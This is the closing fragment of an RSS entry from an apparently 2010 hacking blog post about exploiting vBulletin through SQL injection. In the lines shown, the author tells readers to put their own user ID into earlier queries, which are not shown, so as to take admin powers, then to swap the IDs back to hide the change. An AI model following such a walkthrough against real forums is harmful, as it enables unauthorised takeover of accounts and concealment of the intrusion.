&lt;p&gt;Obviously, XXXX needs to be replaced with our own user ID. &lt;strike&gt;I didn’t dig too deep into vBulletin’s code, but we might need to re-authenticate after making the changes. But you’ll see…&lt;/strike&gt;&lt;/p&gt;
&lt;p&gt;That’s most of the secret! Do whatever you need to do with the powers, and change the IDs back whenever needed, using the same queries as above, only swapping IDs.&lt;/p&gt;</description><link>http://nic0.me/post/398267973</link><guid>http://nic0.me/post/398267973</guid><pubDate>Fri, 19 Feb 2010 09:44:00 +0100</pubDate><category>code injection,</category><category>vbulletin,</category><category>exploit</category><category>hacking</category><category>php</category><category>sql</category><category>sql injection</category></item></channel></rss>

